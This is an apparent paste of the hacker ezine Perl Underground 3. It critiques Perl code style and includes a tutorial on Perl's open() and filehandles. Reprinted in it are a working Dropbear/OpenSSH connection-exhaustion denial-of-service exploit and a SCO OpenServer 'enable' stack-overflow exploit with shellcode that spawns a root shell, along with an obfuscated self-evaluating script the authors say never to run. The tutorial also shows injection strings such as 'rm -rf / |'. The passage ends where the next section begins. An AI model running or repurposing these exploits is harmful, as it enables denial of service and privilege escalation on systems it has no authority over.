· 9 years ago · Oct 10, 2016, 07:42 PM
1 $$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$ $$$$
2 $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$
3 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
4 $$$$ 3 $$$$ $$$$ $$$$ 3 $$$$ $$$$
5 $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ 3
6 $$$$$$$$$$$ $$$$$$$ $$$$$$$$$$$ $$$$
7 $$$$$$$$$$ $$$$ $$$$$$$$$$ $$$$
8 $$$$ $$$$ $$$$ $$$$ $$$$
9 $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$
10 $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$
11
12
13 $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$
14 $$$$ $$$$ $$$$$ 3 $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$
15 $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$
16 $$$$ 3 $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ 3 $$$$
17 $$$$ $$$$ $$$$ $$$ $$$$ $$$$ 3 $$$$ $$$$$$$ $$$$ $$$$
18 $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$$$$$$$$$
19 $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$
20 $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$
21 $$$$$$$$$$$$$ $$$$ 3 $$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$
22 $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$
23
24
25 $$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$$$$$
26 $$$$$$$$$$$ $$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ 3 $$$$ $$$$$ 3 $$$$ $$$$$$$$$$$$
27 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$ $$$$
28 $$$$ 3 $$$$ $$$$ 3 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$$ $$$$ $$$$ $$$$
29 $$$$ $$$$ $$$$ $$$$ 3 $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ 3 $$$$
30 $$$$ $$$ $$$$$$$$$$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$ $$$$ $$$$ $$$$
31 $$$$ 3 $$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$ 3 $$$$ $$$$ $$$$$$$ $$$$ $$$$
32 $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$ $$$$$$ $$$$ $$$$
33 $$$$$$$$$$ $$$$ 3 $$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$ 3 $$$$$ $$$$$$$$$$$$
34 $$$$$$$$ $$$$ $$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$ $$$$ $$$$$$$$$$$
35
36[root@yourbox.anywhere]$ date
37Sun Aug 13 18:16:19 EDT 2006
38
39[root@yourbox.anywhere]$ perl justlayitout.pl
40
4100. TOC
4201. Part One: Summer Time
4302. EyeDropper You
4403. Another str0ke
4504. School You: japhy
4605. prdelka's cameo
4706. School You: mauke
4807. (K-)sPecial boy
4908. School You: McDarren
5009. Random Noob: Qex
5110. School You: xdg
5211. Token PHP noob
5312. Hello bantown
5413. !dSR !good
5514. School You: MJD
5615. Intermission
5716. Part Two: Back to School
5817. brian d fucking foy
5918. School You: davido
6019. Antisec antiperls
6120. School You: atcroft
6221. Russian for the fall
6322. Hello s0ttle
6423. RoMaNSoFt is TwEaKy
6524. School You: merlyn
6625. oh noez spiderz
6726. Hello h0no
6827. Killer str0ke
6928. Shoutz and Outz
70
71[root@yourbox.anywhere]$ perl rockon.pl
72
73-[0x01] # Part One: Summer Time ------------------------------------------
74
75<nemo> i had to be in a .txt
76<nemo> i'm glad it's this one :p
77<nemo> and not my ~/
78
79Summer is here in its full joyous being. Let us all relax and enjoy ourselves.
80Let us have fun. Write some obfuscations. Play some golf. Write fun code and
81have fun coding and critiquing with your friends. Read and laugh. This issue
82is less talk and more code. This is Perl Underground 3.
83
84-[0x02] # EyeDropper You -------------------------------------------------
85
86Would you like some cheap 0day obfuscation?
87
88Here you go, sweet-rose.pl
89
90eval eval '"'.
91
92
93 '`'.'\\'.'\\'.('['^'#').
94 ('^'^('`'|'-')).(('^')^(
95 '`'|',')).'\\'.'\\'.('['^'#').('^'
96 ^('`'|'-')).('`'^"\%").'\\'.'\\'.(
97 '['^'#').('^'^ ('`'|'('
98 )).('^'^("\`"| ('*'))).
99 '\\'.'\\'. ('['^'#').('^'^( '`'|',')).
100 ('^'^('`'| '.')).'\\'.'\\'. ('['^'#').
101 ('^'^('`'| ')')).('^' ^('`'|',')
102 ).'\\'.''. '\\'.('['^ '#').('^'^
103 ('`'|'(')).( '`'^'$') .'\\'.'\\' .('['^'#').(
104 '^'^('`'|',' )).('^'^ ('`'|'.')) .'\\'.'\\'.(
105 '['^'#').( '^'^("\`"| ',')).("\`"^ '$').('\\').
106 '\\'.('['^ '#').('^'^ ('`'|')')).( '^'^('`'|','
107 )).('\\'). '\\'.('['^ '#').("\^"^( '`'|'(')).('^'
108 ^('`'|'(') ).'\\'.''. '\\'.(('[')^ '#').('^'^('`'
109 |',')).('^'^('`'|'.' )).('\\'). '\\'.('['^'#').('^'^('`'|',')).('`'^'&')
110 .'`'.('!'^'+')."\""; $:='.'^'~' ;$~='@'|'(';$^=')'^'[';$/='`'|'.';$,='('
111 ^'}';$\='`'|'!';$:=')'^'}';$~='*'| '`';$^='+'^'_';$/='&'|'@';$, ="\["&
112 '~';$\=','^'|';$:='.'^'~';$~="\@"| '(';$^=')'^'[';$/='`'|'.';$, ="\("^
113 '}';$\='`'|'!';$:=')'^'}';$~='*'|'`' ;$^='+'^'_';$/='&'|'@' ;$,='['&
114 '~';$\=','^'|';$:='.'^'~';$~='@'|'(' ;$^=')'^'[';$/='`'|'.' ;$,='('^
115 '}';$\='`'|('!');$:= ')'^'}';$~="\*"| '`';$^="\+"^ "\_";$/=
116 '&'|'@';$,='['&"\~"; $\=','^('|');$:= '.'^"\~";$~= '@'|'(';
117 $^=')'^'[';$/='`'|'.'; $,='('^'}';$\='`'| '!';$:=')'^'}';$~='*'|'`';
118 $^='+'^'_';$/='&'|'@'; $,='['&'~';$\=','^ '|';$:='.'^'~';$~='@'|'(';
119 $^=')'^'[';$/='`'|'.';$, ='('^'}';$\='`'|'!';$:=')'^'}';$~='*'|'`';$^='+'^('_');$/=
120 '&'|'@';$,='['&('~');$\= ','^'|';$:='.'^'~';$~='@'|'(';$^=')'^'[';$/='`'|'.';$,='('
121 ^'}';$\='`'|'!';$:=')' ^'}';$~='*'|'`';$^='+'^'_';$/='&'|'@';$, ='['&"\~";
122 $\=','^'|';$:='.'^'~'; $~='@'|'(';$^=')'^'[';$/='`'|'.';$,='('^ '}';$\='`'
123 |'!';$:=')'^"\}";$~= '*'|'`';$^='+'^'_';$/='&'|'@';$,='[' &'~';$\=','^
124 '|';$:='.'^('~');$~= '@'|'(';$^=')'^'[';$/='`'|'.';$,='(' ^'}';$\='`'|
125 '!';$:=')'^'}';$~= ('*')| '`';$^='+'^('_');$/= '&'|'@';$,="\["&
126 '~';$\=','^'|';$:= ('.')^ '~';$~='@'|('(');$^= ')'^'[';$/="\`"|
127 '.';$,='('^'}';$\='`'| "\!";$:= (')')^ '}';$~='*'|('`');$^=
128 '+'^'_';$/='&'|'@';$,= '['&'~'; $\=',' ^'|';$:='.'^"\~";$~=
129 '@'|'(';$^=')'^'[';$/='`'|'.';$,='('^'}';$\= '`'|'!';$:=')'^'}';$~=
130 '*'|'`';$^='+'^'_';$/='&'|'@';$,='['&'~';$\= ','^'|';$:='.'^'~';$~=
131 '@'|'(';$^=')'^'[';$/='`'|'.';$,='('^'}';$\='`'|'!';$:=')'^'}';$~='*'|'`';$^
132 ='+'^'_';$/='&'|'@';$,='['&'~';$\=','^'|';$:='.'^'~';$~='@'|'(';$^=')'^"\[";
133 $/='`'|'.';$,='('^'}';$\='`'|'!';$:= (')')^ '}';$~
134 ='*'|'`';$^='+'^'_';$/='&'|('@');$,= ('[')& '~';$\
135 =','^'|';$:='.'^'~';$~='@'|'('
136 ;$^=')'^'[';$/='`'|'.';$,='('^
137 '}';$\='`'|'!' ;($:)=
138 ')'^'}';$~='*' |"\`";
139 $^='+'
140 ^"\_";
141 $/='&'
142 |"\@";
143 $,='['
144 &"\~";
145 $\=','
146 ^"\|";
147 $: ='.'^'~';$~=('@')| '(';$^
148 =( ')')^'[';$/=('`')| '.';$,
149 ='(' ^'}';$\='`'|"\!";$:= (')')^
150 '}'; $~='*'|'`';$^=('+')^ '_';$/
151 ='&'|"\@"; $,='['&'~';$\=(',')^ '|';$:
152 ='.'^"\~"; $~='@'|'(';$^=(')')^ '[';$/
153 ='`'|'.';$,= '('^'}';$\='`'|'!' ;($:)=
154 ')'^"\}";$~= '*'|'`';$^='+'^'_' ;($/)=
155 '&'|'@';$, ='['&'~';$\= (',')^
156 '|';$:='.' ^'~';$~='@'| '(';$^
157 =')'^"\["; $/='`' |"\.";
158 $,='('^'}' ;($\)= ('`')|
159 '!';$:="\)"^ '}';$~="\*"| '`';$^='+'^'_';$/='&'|
160 '@';$,="\["& '~';$\="\,"^ '|';$:='.'^'~';$~='@'|
161 '(';$^=')'^'[';$/='`'| '.';$,='('^'}';$\='`'|'!';$:="\)"^
162 '}';$~='*'|'`';$^='+'^ '_';$/='&'|'@';$,='['&'~';$\="\,"^
163 '|';$:='.'^'~';$~='@'| '(';$^=')'^'[';$/='`'| '.';$,='('^'}';$\='`'|'!';
164 $:=')'^'}';$~='*'|'`'; $^='+'^'_';$/='&'|'@'; $,='['&'~';$\=','^"\|";$:=
165 '.'^'~';$~='@'|'(';$^= ')'^'[';$/="\`"| '.';$,="\("^ '}';$\='`'|'!';$:=(')')^
166 '}';$~='*'|'`';$^='+'^ '_';$/='&'|"\@"; $,='['&"\~"; $\=','^'|';$:='.'^'~';$~
167 ='@'|'(';$^=')'^'[';$/ ='`'|'.';$,=('(')^ '}';$\='`'|"\!"; $:=')'^'}';$~=('*')|
168 '`';$^='+'^'_';$/='&'| '@';$,='['&'~';$\= ','^'|';$:="\."^ '~';$~='@'|('(');$^=
169 ')'^'[';$/='`'|"\."; $,='('^'}';$\='`'| '!';$:=')'^'}';$~= '*'|'`';$^='+'^'_'
170 ;$/='&'|'@';$,="\["& '~';$\=','^'|';$:= '.'^'~';$~='@'|'(' ;$^=')'^'[';$/='`'
171|'.';$,='('^'}';$\ ='`'|'!';$:=')'^'}'; $~='*'|'`';$^='+'^'_'; $/='&'|'@';$,=
172'['&'~';$\=','^'|' ;$:='.'^'~';$~="\@"| '(';$^=')'^'[';$/='`'| '.';$,='('^'}'
173;$\='`'|'!';$: =')'^'}';$~='*'|'`'; $^='+'^'_';$/='&'|'@'; $,='['&"\~";
174$\=','^'|';$:= '.'^'~';$~='@'|"\("; $^=')'^'[';$/='`'|'.'; $,='('^"\}";
175$\='`'|"\!"; $:=')'^'}';$~='*'| '`';$^='+'^'_';$/='&'| "\@";$,=
176'['&"\~";$\= ','^'|';$:='.'^'~' ;$~='@'|'(';$^=')'^'[' ;$/='`'|
177'.';$,='(' ^'}';$\=('`')| '!';$: =')'^'}';$~='*'| '`';$^
178='+'^"\_"; $/='&'|'@';$,= ('[')& '~';$\=','^"\|"; $:='.'
179^'~';$~= '@'|'(';$^ ="\)"^ '[';$/='`'|'.';$,= '('^
180"\}";$\= '`'|'!';$: ="\)"^ '}';$~='*'|'`';$^= '+'^
181'_';$/ ='&'|'@' ;($,)= '['&'~';$\=','
182^"\|"; $:="\."^ '~';$~ ='@'|('(');$^=
183')'^ '[';$/ ="\`"|
184'.'; $,='(' ^"\}";
185$\='`'|'!' ;($:)=
186')'^'}';$~ ="\*"|
187 '`'; $^='+'
188 ^'_' ;($/)=
189 ('&')|
190 '@';$,
191 ="\["&
192 '~';$\
193 ="\,"^
194 '|';#;
195
196Listen up. Don't ever run that. The obfu is too fu for you.
197
198-[0x03] # Another str0ke -------------------------------------------------
199
200Remember this?
201
202#!/usr/bin/perl
203## I needed a working test script so here it is.
204## just a keep alive thread, I had a few problems with Pablo's code running properly.
205##
206## Straight from Pablo Fernandez's advisory:
207# Vulnerable code is in svr-main.c
208#
209# /* check for max number of connections not authorised */
210# for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
211# if (childpipes[j] < 0) {
212# break;
213# }
214# }
215#
216# if (j == MAX_UNAUTH_CLIENTS) {
217# /* no free connections */
218# /* TODO - possibly log, though this would be an easy way
219# * to fill logs/disk */
220# close(childsock);
221# continue;
222# }
223## /str0ke (milw0rm.com)
224
225use IO::Socket;
226use Thread;
227use strict;
228
229# thanks to Perl Underground for my moronic coding style fixes.
230my ($serv, $port, $time) = @ARGV;
231
232# str0ke, it has been a pleasure.
233# This script now comes across as intelligent and someone might take it seriously.
234# Naturally I may have some reservations about some choices, but to each their own.
235
236sub usage
237{
238 print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n";
239 print "by /str0ke (milw0rm.com)\n";
240 print "Credits to Pablo Fernandez\n";
241 print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n";
242 exit ();
243}
244
245sub exploit
246{
247 my ($serv, $port, $sleep) = @_;
248 my $sock = new IO::Socket::INET ( PeerAddr => $serv,
249 PeerPort => $port,
250 Proto => 'tcp',
251 );
252
253 die "Could not create socket: $!\n" unless $sock;
254 sleep $sleep;
255 close($sock);
256}
257
258sub thread {
259 print "Server: $serv\nPort: $port\nSeconds: $time\n";
260 for my $i ( 1 .. 51 ) {
261 print ".";
262 my $thr = new Thread \&exploit, $serv, $port, $time;
263 }
264 sleep $time; #detach wouldn't be good
265}
266
267if (@ARGV != 3){&usage;}else{&thread;}
268
269I have one remaining issue.
270This is the one line we harshly criticized that we didn't offer a direct syntax replacement for.
271Naturally, you did not do your own research and find out a witty or attractive way to fix that.
272This sin, and others, contradict with your pleasant handling of the situation.
273I am displeased that you have not made an effort to fix other scripts of yours.
274I am curious as to why you removed Perl Underground from your site.
275I am curious as to why Perl Underground was on your site for a time in the first place.
276I am disappointed that I have not seen more recent Perl from you.
277I hope we have not scared you off.
278Question weighs more than answer, and your code will be criticized in this issue.
279
280-[0x04] # School You: japhy ----------------------------------------------
281
282"Open, Sesame!"
283If you've used Perl for a week, you're probably familiar with the task of opening a file, either to
284read from or write to it. Here's a simple refresher course for you -- some of it involves Perl 5.6,
285which lets you do some nifty things with open(). There are three basic operations you use a
286filehandle for: reading, writing, and appending. You can also read and write (or read and append)
287to files, and you can read from to write to a program (from its output, or to its input).
288
289# error-checking would, of course, be used
290
291open FILE, "filename"; # read
292open FILE, "< filename"; # read (explicit)
293open FILE, "> filename"; # overwrite
294open FILE, ">> filename"; # append
295open FILE, "+< filename"; # read and write
296open FILE, "+> filename"; # read and overwrite (clobber first)
297open FILE, "+>> filename"; # read and append
298open FILE, "program |"; # read from program
299open FILE, "| program"; # write to program
300For safety's sake, the explicit forms should always be used, and with a space between the mode and
301the filename. Here's an example of why:
302
303chomp(my $filename = <STDIN>);
304open FILE, $filename;
305This allows the user pass anything from "< /etc/passwd" to "rm -rf / |" to your open() call,
306neither of which you'd be too happy to permit. For the same reason, using open(F, ">$filename")
307isn't enough either -- the user could slip an extra > in on you and cause you to append, rather
308than overwrite.
309
310Perl 5.6 allows an even greater extent of control: a multi-argument form of open():
311
312# open FILEHANDLE, MODE, EXPR
313
314open FILE, "<", $filename; # read from $filename
315If you want to pipe to a program, the MODE should be "|-"; if you want to pipe from a program, the
316MODE should be "-|". In the case of call programs, you can send a list of arguments after the
317program name:
318
319# open FILEHANDLE, MODE, EXPR, LIST
320
321open LS, "-|", "ls", "-R";
322That invokes ls with the -R switch (for recursive listing), and returns the output to Perl.
323
324Finally, Perl 5.6 allows you to use an undefined lexical (a my variable) in the place of the
325filehandle. This allows you to use filehandles as variables more easily -- using them in objects,
326passing them to functions, etc.
327
328for my $f (@listing) {
329 open my($fh), "<", $f;
330 push @files, $fh;
331}
332Obfuscorner
333If you only send a filehandle to open(), Perl will look for a package variable (not a lexical) of
334the same name, and use the value of that variable as the filename to open. A simple use of this is
335to open the program itself; since $0 holds the name of the program, you can simply write:
336
337open 0; # like: open 0, $0
338Whose Line Is It, Anyway?
339Files are not made up of lines. Files are made up of sequential bytes. A "line" is a made-up
340concept which only applies to text files (who cares how many "lines" there are in a JPEG?). The
341standard definition of a line is a sequence of zero or more bytes ending with a newline. Whether
342that is \n or \r\n or \n\r is up to your OS to decide. But who cares about "lines"? Perl is more
343interested in records.
344
345A record is a sequence of bytes separated from other records by some other sequence of bytes. A
346"line" is merely a record with a separator \n (or whatever). What good are records, though, if Perl
347keeps reading lines? Well, just tell Perl not to read a line!
348
349open FORTUNE, "< /usr/share/games/fortunes/art";
350{
351 local $/ = "\n%\n";
352 @fortunes = <FORTUNE>;
353}
354close FORTUNE;
355This code makes use of the $/ variable -- the "input record separator" -- to change how much each
356read of <FORTUNE> does. Instead of stopping at "\n", it stops at "\n%\n" (the separator of my
357computer's fortune files). This means that we can read multiple "lines" at once. In fact, Perl has
358two special values of $/ explicitly for that purpose:
359Setting $/ to "" causes Perl to use "paragraph" mode; it will read a chunk of lines that is
360followed by extra newlines -- in other words, a sequence of bytes ending in two or more newlines.
361Setting $/ to undef causes Perl to read the rest of the file all at once.
362In addition to the record-separator use of $/, you can set it to a reference to a positive integer,
363which means that you will read that many bytes at on each read:
364
365while (read(FILE, $buf, 1024)) { ... }
366
367# is like
368
369{
370 local $/ = \1024;
371 while ($buf = <FILE>) { ... }
372}
373If you're wondering why I continually local()ize $/, it is to make sure that the change to $/ are
374restricted to where we want it. We don't want future filehandle-reads to be using the changed
375value.
376
377The $/ variable is also used by chomp() -- this function doesn't just remove a newline from the end
378of its arguments, it removes the value of $/ from the end of them (if it's there).
379Outputting Records
380There are a couple of variables related to printing records as well. The $\ variable (the output
381record separator) and the $, variable (the output field separator). The mnemonics for these two are
382rather simple:
383$\ goes where you put a \n in your print()
384$, goes where you put a , in your print()
385The fact that $\ and $/ share a mirrored character is not a mistake either -- they are related in
386that each is the other's opposite.
387
388How are they useful? They let you be obscenely lazy. Let's say you're playing with the /etc/passwd
389file:
390
391open PASSWD, "/etc/passwd"
392 or die "can't read /etc/passwd: $!";
393open MOD, "> /etc/weirdpasswd"
394 or die "can't write to /etc/weirdpasswd: $!";
395
396$\ = $/; # ORS = IRS = "\n"
397$, = ":"; # OFS = ","
398
399while (<PASSWD>) {
400 chomp; # removes $/ from $_
401 my @f = split $,; # splits $_ on occurrences of $,
402 # fool around with @f
403 print MOD @f;
404}
405
406close MOD;
407close PASSWD;
408If we hadn't set $\ and $, in this code, the output file would have been one long line of fields,
409with nothing in between each field, and no way to separate one record from the next. However, since
410we have set them, we automatically append $\ to each print() statement, and automatically insert $,
411in between each argument to print(). Here's the explicit code that doesn't use these two variables:
412
413while (<PASSWD>) {
414 chomp;
415 my @f = split ':';
416 # fool around with @f
417 print MOD join(':', @f), "\n";
418}
419While that may end up being more clear than the other, it's only that way because you've not been
420exposed to the variables. I'm sure before you learned how to use $_, your code was a lot more
421verbose; but once you embrace that default variable, code like
422
423for my $line (@lines) {
424 chomp $line;
425 my @fields = split /=/, $line;
426 for my $f (@fields) { $f =~ s/->/: /; }
427 # ...
428}
429became code like
430
431for (@lines) {
432 chomp;
433 my @fields = split /=/;
434 for (@fields) { s/->/:/ }
435 # ...
436}
437It's the same with these other variables.
438While We're Being Lazy...
439There's no variable that symbolizes the default filehandle to print to -- if you print() with no
440filehandle mentioned, Perl assumes you mean to print to STDOUT.
441
442Well, not necessarily. The default output handle can be changed. Its default value is STDOUT, but
443you can change that with the select() function:
444
445print "to stdout\n";
446my $oldfh = select MOD;
447print "to mod\n";
448select $oldfh;
449print "to stdout\n";
450Assuming you start out with STDOUT as your default output handle, the code runs as is described.
451The select() function (in the single argument form) takes a filehandle, sets it as the default, and
452returns the previously select()ed filehandle.
453
454You can call select() with no arguments, and it will merely return the current default filehandle
455(as an information source).
456Huffering, Puffering, and Buffering
457Another useful filehandle variable is $| the autoflush variable. This variable is unique for each
458filehandle -- output to STDERR is flushed automatically, but output to STDOUT is not. This variable
459is a true boolean -- it either holds a true value (which gets stored as 1) or a false value (which
460gets stored as 0).
461
462Buffering is the process of storing output until a certain condition is reached (such as a newline
463is encountered). When a buffer is flushed, its contents are emptied. Where do they go? Well, to the
464filehandle proper. A buffer is a temporary holding location between the process generating the
465output and the place the output will appear.
466
467Like I said, each filehandle has its own buffer control. To set the autoflush variable for a given
468filehandle, you have to use select(), or the standard IO::Handle module's autoflush method.
469
470# turn on autoflushing for OUT
471{
472 my $old = select OUT;
473 $| = 1;
474 select $old;
475}
476
477# another way, using IO::Handle
478use IO::Handle;
479autoflush OUT 1;
480The IO::Handle module offers many helpful methods for filehandles (which are internally objects of
481the IO::Handle class). You might want to see what else it has to offer that you might want to use.
482
483You can make your own per-filehandle variables via the Tie::PerFH module, available on CPAN.
484Obfuscorner
485In the evil Perl spirit of "there's more than one way to do it", there's an obfuscated way to turn
486on autoflushing for a filehandle. It combines the three lines (save the old handle, set $|, restore
487the old handle) into one:
488
489select((select(OUT), $|=1)[0]);
490The dissection of this code is as follows:
491select(OUT) makes OUT the default handle and returns the previous handle
492$| = 1 sets autoflush to true, after the select(OUT) has been executed
493(select(OUT), $|=1)[0] is a list slice -- it takes the first element of the list (select(OUT),
494$|=1), which is the value returned by select(OUT) (the previous filehandle)
495select(...) makes that value the default filehandle -- and what is ...? it's the first element of
496the list (described above)
497Delightfully icky!
498
499Another trick is to take advantage of the fact $| is always either 0 or 1. If it's 0, and you
500subtract 1, -1 is transformed into 1. Subtracting 1 again gives you 0 again. Thus, $|-- is a
501builtin flip-flop!
502
503# alternate indenting and not indenting lines
504for (@data) {
505 print " " x $|--;
506 print "$_\n";
507}
508This doesn't work with $|++... can you see why?
509The Magic of <>
510The final mystery revealed is a lengthy one. We all know we can read input via <STDIN>. But what
511about the mysterious empty diamond operator, <>? What does it do, and how can we interact with its
512magic?
513
514The empty diamond operator is related to @ARGV, $ARGV, the ARGV filehandle, the ARGVOUT filehandle,
515and $^I. You probably know one of these (@ARGV) already. The others will soon be made clear. First
516here's a sample program:
517
518#!/usr/bin/perl -w
519
520# inplace.pl ext code [files]
521# ex: inplace.pl .bak '$_ = "" if /^#/' *.pl
522
523use strict;
524
525$^I = shift;
526my $code = shift;
527
528while (<>) {
529 eval $code;
530 print;
531}
532All the following symbols are strict-safe.
533@ARGV
534the list of command-line arguments to your program
535when using <>, Perl uses these arguments as sources of input (so you can read from "ls |"!)
536if the array is empty to begin with, Perl puts "-" in there, which means "read from STDIN"
537when a file is being read, it is removed (shift()ed) from the array
538$ARGV
539this holds the input source currently begin read from
540ARGV
541this is the filehandle opened, using $ARGV
542ARGVOUT
543if $^I is not undef, this is the output filehandle being printed to
544it is select()ed automatically
545$^I
546this is the in-place editing backup extension variable, and can be set from the command-line via
547the -i switch
548if this isn't undef, the loop will read from ARGV and write to ARGVOUT
549if it contains the "*" character, the value is not an extension, but the new name of the file (so
550if modifying foo.txt and $^I is "old-*", the backup file is old-foo.txt)
551Knowing this, our code can be written rather explicitly. You're about to see why Perl is so nice to
552you.
553
554#!/usr/bin/perl -w
555
556use strict;
557
558my $ext = shift;
559my $code = shift;
560
561@ARGV = '-' unless @ARGV;
562
563FILE:
564while (defined($ARGV = shift)) {
565 my $backup;
566
567 # if we're not working with STDIN...
568 if ($ARGV ne '-') {
569 # get backup filename
570 if ($ext =~ /\*/) { ($backup = $ext) =~ s/\*/$ARGV/ }
571 else { $backup = "$ARGV$ext" }
572
573 # try renaming file
574 rename $ARGV => $backup or
575 warn("Can't rename $ARGV to $backup: $!, skipping file.") and
576 next FILE;
577 }
578
579 # with STDIN, there's no real backup done
580 else { $backup = '-' }
581
582 open ARGV, "< $backup" or
583 warn("Can't open $backup: $!") and
584 next FILE;
585
586 # if we're not dealing with STDIN,
587 # but $backup is $ARGV, we're doing real
588 # in-place editing, so we use a Unix trick:
589 # * open the file for reading
590 # * unlink it
591 # * open the file for writing
592 # this is a miracle, but it fails in DOS :(
593
594 if ($backup ne '-' and $backup eq $ARGV) {
595 unlink $backup or
596 warn("Can't remove $backup: $!, skipping file.") and
597 next FILE;
598 }
599
600 open ARGVOUT, "> $ARGV" or
601 warn("(panic) Can't write $ARGV: $!, skipping file.") and
602 next FILE;
603
604 while (<ARGV>) {
605 eval $code;
606 print ARGVOUT;
607 }
608
609 close ARGVOUT;
610 # note: we don't close ARGV!
611}
612Aren't you glad Perl does all that hard work for you?
613
614Now that you know about these symbols, you can use some of them to your advantage. Here's a bit of
615code that prints each line of input with the source and the line number in front of it. Notice,
616though, that since the code that Perl uses never closes ARGV, the $. variable never gets reset to
6170. That means the line count keeps increasing:
618
619while (<>) {
620 print "$ARGV ($.): $_";
621}
622If we have two files, a.txt and b.txt whose contents are "abc\ndef\nghi\n" and "jkl\nmno\n"
623respectively, this program outputs:
624
625
626a.txt (1): abc
627a.txt (2): def
628a.txt (3): ghi
629b.txt (4): jkl
630b.txt (5): mno
631Now, what if we want the line number to be reset for each new file? We need to be able to detect
632the end of the file. We can do that with the eof() function! There are two ways we can use the
633function for detecting the end of each input:
634
635while (<>) {
636 print "$ARGV ($.): $_";
637 close ARGV if eof; # reset $.
638}
639
640# or
641
642while (<>) {
643 print "$ARGV ($.): $_";
644 close ARGV if eof(ARGV); # reset $.
645}
646If you don't use any parentheses, and don't send an argument, Perl will check the last filehandle
647read from. If you send an argument, it checks that filehandle. "But japhy! What about eof()?" you
648ask? Well, that's a very special case. If you want to know when you've reached the end of all the
649input, you can use eof():
650
651while (<>) {
652 print "$ARGV ($.): $_";
653 print "==end==\n" if eof(); # after ALL data
654}
655Lazy Loops
656In addition to the -i switch, Perl offers switches like -n and -p, which construct loops around the
657source of your code:
658
659perl -ne 'print if /foo/' files
660# becomes
661perl -e 'while (<>) { print if /foo/ }' files
662
663perl -pe 's/foo/bar/' files
664# becomes
665perl -e 'while (<>) { s/foo/bar/ } continue { print }' files
666You can use -p with -i to write a simple one-liner file editor:
667
668# keep backups
669perl -pi.bak -e 's/PERL/Perl/g' files
670
671# don't keep backups
672perl -pi -e 's/PERL/Perl/g' files
673Why do you think you have to say -pi -e, and can't use -pie?
674References
675Using files:
676open(): perldoc -f open
677close(): perldoc -f close
678select(): perldoc -f select
679eof(): perldoc -f eof
680overview: perldoc perlopentut
681File-specific variables:
682$/, $\, $|, $,, $.: perldoc perlvar
683chomp(): perldoc -f chomp
684the IO::Handle module: perldoc IO::Handle
685<> magic:
686the -i, -n, and -p switches: perldoc perlrun
687
688-[0x05] # prdelka's cameo ------------------------------------------------
689
690# This is a very boring and straight-forward script to ridicule.
691# However, we had a personal request for prdelka.
692# prdelka sticks to what he knows, and his code is a bit elusive these days.
693# Perl Underground always seeks to please.
694
695#!/usr/bin/perl
696
697# This is almost strict compliant.
698# Push yourself to new heights and learn to use it!
699
700# SCO Openserver 5.0.7 enable exploit
701# ===================================
702# A standard stack-overflow exists in the handling of
703# command line arguements in the 'enable' binary. A user
704# must be configured with the correct permissions to
705# use the "enable" binary. SCO user documentation suggests
706# "You can use the asroot(ADM) command. In order to grant a
707# user the right to enable and disable tty devices". This
708# exploit assumes you have those permissions.
709#
710# Example.
711#
712# $ id
713# uid=200(user) gid=50(group) groups=50(group)
714# $ perl enablex.pl
715# # id
716# uid=0(root) gid=50(group) egid=18(lp) groups=50(group)
717#
718# - prdelka
719
720# The intense complexities of this program demanded an example.
721
722my $buffer;
723$buffer .="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
724# .= is unneeded when the variable has no original contents to add to.
725$buffer .="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
726# my $buffer = "\x90" x 52;
727# Save some effort.
728
729$buffer .="\x90\x90\x90\x90\x90\x90\x90\x90\x68\xff\xf8\xff\x3c\x6a\x65\x89\xe6\xf7\x56\x04\xf6\x16";
730$buffer .="\x31\xc0\x50\x68";
731$buffer .="/ksh";
732$buffer .="\x68";
733$buffer .="/bin";
734$buffer .="\x89\xe3\x50\x50\x53\xb0\x3b\xff\xd6";
735for($i = 0;$i <= 7782;$i++)
736# for (0 .. 7782) { }
737{
738 $buffer .= "A";
739# $buffer .= 'A' x 7782; # To skip your loop entirely!
740}
741
742$buffer .= "\x3f\x60\x04\x08";
743
744# my $buffer = "\x90" x 52 . "\x68\xff\xf8\xff\x3c\x6a\x65\x89\xe6\xf7\x56\x04\xf6\x16\x31\xc0\x50\x68"
745# . "/ksh\x68/bin\x89\xe3\x50\x50\x53\xb0\x3b\xff\xd6" . 'A' x 7782 . "\x3f\x60\x04\x08";
746
747system("/tcb/bin/asroot","enable",$buffer);
748# You are free to add spacing between your parameters, or any other applicable place as suits your aesthetics.
749
750# You used 20 lines of comments for what was essentially a two statement script.
751# You spread those two statements into 15 awkward lines.
752
753-[0x06] # School You: mauke ----------------------------------------------
754
755#line 2 "unip.pl"
